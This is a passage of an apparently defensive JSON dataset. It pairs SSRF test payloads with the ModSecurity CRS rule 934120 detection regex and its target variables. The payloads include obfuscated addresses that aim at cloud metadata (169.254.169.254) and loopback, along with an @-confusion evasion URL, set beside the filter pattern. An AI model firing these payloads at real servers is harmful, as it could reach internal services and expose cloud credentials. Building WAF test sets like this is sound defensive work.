"(?i)(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://(?:[0-9]{10}|(?:0x[0-9a-f]{2}\\.){3}0x[0-9a-f]{2}|0x(?:[0-9a-f]{8}|[0-9a-f]{16})|(?:0{1,4}[0-9]{1,3}\\.){3}0{1,4}[0-9]{1,3}|[0-9]{1,3}\\.(?:[0-9]{1,3}\\.[0-9]{5}|[0-9]{8})|(?:\\x5c\\x5c[\\-0-9a-z]\\.?_?)+|\\[[0-:a-f]+(?:[\\.0-9]+|%[0-9A-Z_a-z]+)?\\]|[a-z][\\-\\.0-9A-Z_a-z]{1,255}:[0-9]{1,5}(?:#?[\\s\\x0b]*&?@(?:(?:[0-9]{1,3}\\.){3}[0-9]{1,3}|[a-z][\\-\\.0-9A-Z_a-z]{1,255}):[0-9]{1,5}/?)+|[\\.0-9]{0,11}(?:\\x{e2}(?:\\x91[\\xa0-\\x{bf}]|\\x92[\\x80-\\x{bf}]|\\x93[\\x80-\\x{a9}\\x{ab}-\\x{bf}])|\\x{e3}\\x80\\x82)+)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-ssrf" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934120", "test_description": "SSRF - Negative tests - IPV6 Compressed" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "ssrf=[0:0:0:0:0:ffff:a9fe:a9fe]" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://(?:[0-9]{10}|(?:0x[0-9a-f]{2}\\.){3}0x[0-9a-f]{2}|0x(?:[0-9a-f]{8}|[0-9a-f]{16})|(?:0{1,4}[0-9]{1,3}\\.){3}0{1,4}[0-9]{1,3}|[0-9]{1,3}\\.(?:[0-9]{1,3}\\.[0-9]{5}|[0-9]{8})|(?:\\x5c\\x5c[\\-0-9a-z]\\.?_?)+|\\[[0-:a-f]+(?:[\\.0-9]+|%[0-9A-Z_a-z]+)?\\]|[a-z][\\-\\.0-9A-Z_a-z]{1,255}:[0-9]{1,5}(?:#?[\\s\\x0b]*&?@(?:(?:[0-9]{1,3}\\.){3}[0-9]{1,3}|[a-z][\\-\\.0-9A-Z_a-z]{1,255}):[0-9]{1,5}/?)+|[\\.0-9]{0,11}(?:\\x{e2}(?:\\x91[\\xa0-\\x{bf}]|\\x92[\\x80-\\x{bf}]|\\x93[\\x80-\\x{a9}\\x{ab}-\\x{bf}])|\\x{e3}\\x80\\x82)+)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-ssrf" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934120", "test_description": "SSRF - Negative tests - IPV6 Expanded" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "ssrf=[0:0:0:0:0:ffff:169.254.169.254]" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://(?:[0-9]{10}|(?:0x[0-9a-f]{2}\\.){3}0x[0-9a-f]{2}|0x(?:[0-9a-f]{8}|[0-9a-f]{16})|(?:0{1,4}[0-9]{1,3}\\.){3}0{1,4}[0-9]{1,3}|[0-9]{1,3}\\.(?:[0-9]{1,3}\\.[0-9]{5}|[0-9]{8})|(?:\\x5c\\x5c[\\-0-9a-z]\\.?_?)+|\\[[0-:a-f]+(?:[\\.0-9]+|%[0-9A-Z_a-z]+)?\\]|[a-z][\\-\\.0-9A-Z_a-z]{1,255}:[0-9]{1,5}(?:#?[\\s\\x0b]*&?@(?:(?:[0-9]{1,3}\\.){3}[0-9]{1,3}|[a-z][\\-\\.0-9A-Z_a-z]{1,255}):[0-9]{1,5}/?)+|[\\.0-9]{0,11}(?:\\x{e2}(?:\\x91[\\xa0-\\x{bf}]|\\x92[\\x80-\\x{bf}]|\\x93[\\x80-\\x{a9}\\x{ab}-\\x{bf}])|\\x{e3}\\x80\\x82)+)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-ssrf" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934120", "test_description": "SSRF - Negative tests - IPV6/IPV4" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "ssrf=http%3A%2F%2Fgoogle.com%3A80%20%26%40google.com%3A80%23%20%40127.88.23.245%3A22%2F" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://(?:[0-9]{10}|(?:0x[0-9a-f]{2}\\.){3}0x[0-9a-f]{2}|0x(?:[0-9a-f]{8}|[0-9a-f]{16})|(?:0{1,4}[0-9]{1,3}\\.){3}0{1,4}[0-9]{1,3}|[0-9]{1,3}\\.(?:[0-9]{1,3}\\.[0-9]{5}|[0-9]{8})|(?:\\x5c\\x5c[\\-0-9a-z]\\.?_?)+|\\[[0-:a-f]+(?:[\\.0-9]+|%[0-9A-Z_a-z]+)?\\]|[a-z][\\-\\.0-9A-Z_a-z]{1,255}:[0-9]{1,5}(?:#?[\\s\\x0b]*&?@(?:(?:[0-9]{1,3}\\.){3}[0-9]{1,3}|[a-z][\\-\\.0-9A-Z_a-z]{1,255}):[0-9]{1,5}/?)+|[\\.0-9]{0,11}(?:\\x{e2}(?:\\x91[\\xa0-\\x{bf}]|\\x92[\\x80-\\x{bf}]|\\x93[\\x80-\\x{a9}\\x{ab}-\\x{bf}])|\\x{e3}\\x80\\x82)+)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-ssrf" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934120", "test_description": "SSRF - Evasion technique 1" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "ssrf=xri://[0:0:0:0:0:ffff:169.254.169.254]" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://(?:[0-9]{10}|(?:0x[0-9a-f]{2}\\.){3}0x[0-9a-f]{2}|0x(?:[0-9a-f]{8}|[0-9a-f]{16})|(?:0{1,4}[0-9]{1,3}\\.){3}0{1,4}[0-9]{1,3}|[0-9]{1,3}\\.(?:[0-9]{1,3}\\.[0-9]{5}|[0-9]{8})|(?:\\x5c\\x5c[\\-0-9a-z]\\.?_?)+|\\[[0-:a-f]+(?:[\\.0-9]+|%[0-9A-Z_a-z]+)?\\]|[a-z][\\-\\.0-9A-Z_a-z]{1,255}:[0-9]{1,5}(?:#?[\\s\\x0b]*&?@(?:(?:[0-9]{1,3}\\.){3}[0-9]{1,3}|[a-z][\\-\\.0-9A-Z_a-z]{1,255}):[0-9]{1,5}/?)+|[\\.0-9]{0,11}(?:\\x{e2}(?:\\x91[\\xa0-\\x{bf}]|\\x92[\\x80-\\x{bf}]|\\x93[\\x80-\\x{a9}\\x{ab}-\\x{bf}])|\\x{e3}\\x80\\x82)+)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-ssrf" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934120", "test_description": "SSRF - Weird protocol scheme 1" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "ssrf=rsync://[0:0:0:0:0:ffff:169.254.169.254]" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://(?:[0-9]{10}|(?:0x[0-9a-f]{2}\\.){3}0x[0-9a-f]{2}|0x(?:[0-9a-f]{8}|[0-9a-f]{16})|(?:0{1,4}[0-9]{1,3}\\.){3}0{1,4}[0-9]{1,3}|[0-9]{1,3}\\.(?:[0-9]{1,3}\\.[0-9]{5}|[0-9]{8})|(?:\\x5c\\x5c[\\-0-9a-z]\\.?_?)+|\\[[0-:a-f]+(?:[\\.0-9]+|%[0-9A-Z_a-z]+)?\\]|[a-z][\\-\\.0-9A-Z_a-z]{1,255}:[0-9]{1,5}(?:#?[\\s\\x0b]*&?@(?:(?:[0-9]{1,3}\\.){3}[0-9]{1,3}|[a-z][\\-\\.0-9A-Z_a-z]{1,255}):[0-9]{1,5}/?)+|[\\.0-9]{0,11}(?:\\x{e2}(?:\\x91[\\xa0-\\x{bf}]|\\x92[\\x80-\\x{bf}]|\\x93[\\x80-\\x{a9}\\x{ab}-\\x{bf}])|\\x{e3}\\x80\\x82)+)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-ssrf" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934120", "test_description": "SSRF - Weird protocol scheme 2" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "ssrf=acap://①②⑦.⓪.⓪.①" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://(?:[0-9]{10}|(?:0x[0-9a-f]{2}\\.){3}0x[0-9a-f]{2}|0x(?:[0-9a-f]{8}|[0-9a-f]{16})|(?:0{1,4}[0-9]{1,3}\\.){3}0{1,4}[0-9]{1,3}|[0-9]{1,3}\\.(?:[0-9]{1,3}\\.[0-9]{5}|[0-9]{8})|(?:\\x5c\\x5c[\\-0-9a-z]\\.?_?)+|\\[[0-:a-f]+(?:[\\.0-9]+|%[0-9A-Z_a-z]+)?\\]|[a-z][\\-\\.0-9A-Z_a-z]{1,255}:[0-9]{1,5}(?:#?[\\s\\x0b]*&?@(?:(?:[0-9]{1,3}\\.){3}[0-9]{1,3}|[a-z][\\-\\.0-9A-Z_a-z]{1,255}):[0-9]{1,5}/?)+|[\\.0-9]{0,11}(?:\\x{e2}(?:\\x91[\\xa0-\\x{bf}]|\\x92[\\x80-\\x{bf}]|\\x93[\\x80-\\x{a9}\\x{ab}-\\x{bf}])|\\x{e3}\\x80\\x82)+)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-ssrf" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934120", "test_description": "SSRF - Enclosed alphanumerics 1 - digits" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "ssrf=imap://①⑥⑨.②⑤④.①⑥⑨.②⑤④" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://(?:[0-9]{10}|(?:0x[0-9a-f]{2}\\.){3}0x[0-9a-f]{2}|0x(?:[0-9a-f]{8}|[0-9a-f]{16})|(?:0{1,4}[0-9]{1,3}\\.){3}0{1,4}[0-9]{1,3}|[0-9]{1,3}\\.(?:[0-9]{1,3}\\.[0-9]{5}|[0-9]{8})|(?:\\x5c\\x5c[\\-0-9a-z]\\.?_?)+|\\[[0-:a-f]+(?:[\\.0-9]+|%[0-9A-Z_a-z]+)?\\]|[a-z][\\-\\.0-9A-Z_a-z]{1,255}:[0-9]{1,5}(?:#?[\\s\\x0b]*&?@(?:(?:[0-9]{1,3}\\.){3}[0-9]{1,3}|[a-z][\\-\\.0-9A-Z_a-z]{1,255}):[0-9]{1,5}/?)+|[\\.0-9]{0,11}(?:\\x{e2}(?:\\x91[\\xa0-\\x{bf}]|\\x92[\\x80-\\x{bf}]|\\x93[\\x80-\\x{a9}\\x{ab}-\\x{bf}])|\\x{e3}\\x80\\x82)+)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-ssrf" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934120", "test_description": "SSRF - Enclosed alphanumerics 2 - digits" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "ssrf=irc://ⓛⓞⓒⓐⓛⓗⓞⓢⓣ" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://(?:[0-9]{10}|(?:0x[0-9a-f]{2}\\.){3}0x[0-9a-f]{2}|0x(?:[0-9a-f]{8}|[0-9a-f]{16})|(?:0{1,4}[0-9]{1,3}\\.){3}0{1,4}[0-9]{1,3}|[0-9]{1,3}\\.(?:[0-9]{1,3}\\.[0-9]{5}|[0-9]{8})|(?:\\x5c\\x5c[\\-0-9a-z]\\.?_?)+|\\[[0-:a-f]+(?:[\\.0-9]+|%[0-9A-Z_a-z]+)?\\]|[a-z][\\-\\.0-9A-Z_a-z]{1,255}:[0-9]{1,5}(?:#?[\\s\\x0b]*&?@(?:(?:[0-9]{1,3}\\.){3}[0-9]{1,3}|[a-z][\\-\\.0-9A-Z_a-z]{1,255}):[0-9]{1,5}/?)+|[\\.0-9]{0,11}(?:\\x{e2}(?:\\x91[\\xa0-\\x{bf}]|\\x92[\\x80-\\x{bf}]|\\x93[\\x80-\\x{a9}\\x{ab}-\\x{bf}])|\\x{e3}\\x80\\x82)+)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-ssrf" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934120", "test_description": "SSRF - Enclosed alphanumerics 3 - text" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "ssrf=pop3://ⓁⓄⒸⒶⓁⒽⓄⓈⓉ" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://(?:[0-9]{10}|(?:0x[0-9a-f]{2}\\.){3}0x[0-9a-f]{2}|0x(?:[0-9a-f]{8}|[0-9a-f]{16})|(?:0{1,4}[0-9]{1,3}\\.){3}0{1,4}[0-9]{1,3}|[0-9]{1,3}\\.(?:[0-9]{1,3}\\.[0-9]{5}|[0-9]{8})|(?:\\x5c\\x5c[\\-0-9a-z]\\.?_?)+|\\[[0-:a-f]+(?:[\\.0-9]+|%[0-9A-Z_a-z]+)?\\]|[a-z][\\-\\.0-9A-Z_a-z]{1,255}:[0-9]{1,5}(?:#?[\\s\\x0b]*&?@(?:(?:[0-9]{1,3}\\.){3}[0-9]{1,3}|[a-z][\\-\\.0-9A-Z_a-z]{1,255}):[0-9]{1,5}/?)+|[\\.0-9]{0,11}(?:\\x{e2}(?:\\x91[\\xa0-\\x{bf}]|\\x92[\\x80-\\x{bf}]|\\x93[\\x80-\\x{a9}\\x{ab}-\\x{bf}])|\\x{e3}\\x80\\x82)+)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-ssrf" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934120", "test_description": "SSRF - Enclosed alphanumerics 3 - text" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "ssrf=ssh://0177.00.00.01" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://(?:[0-9]{10}|(?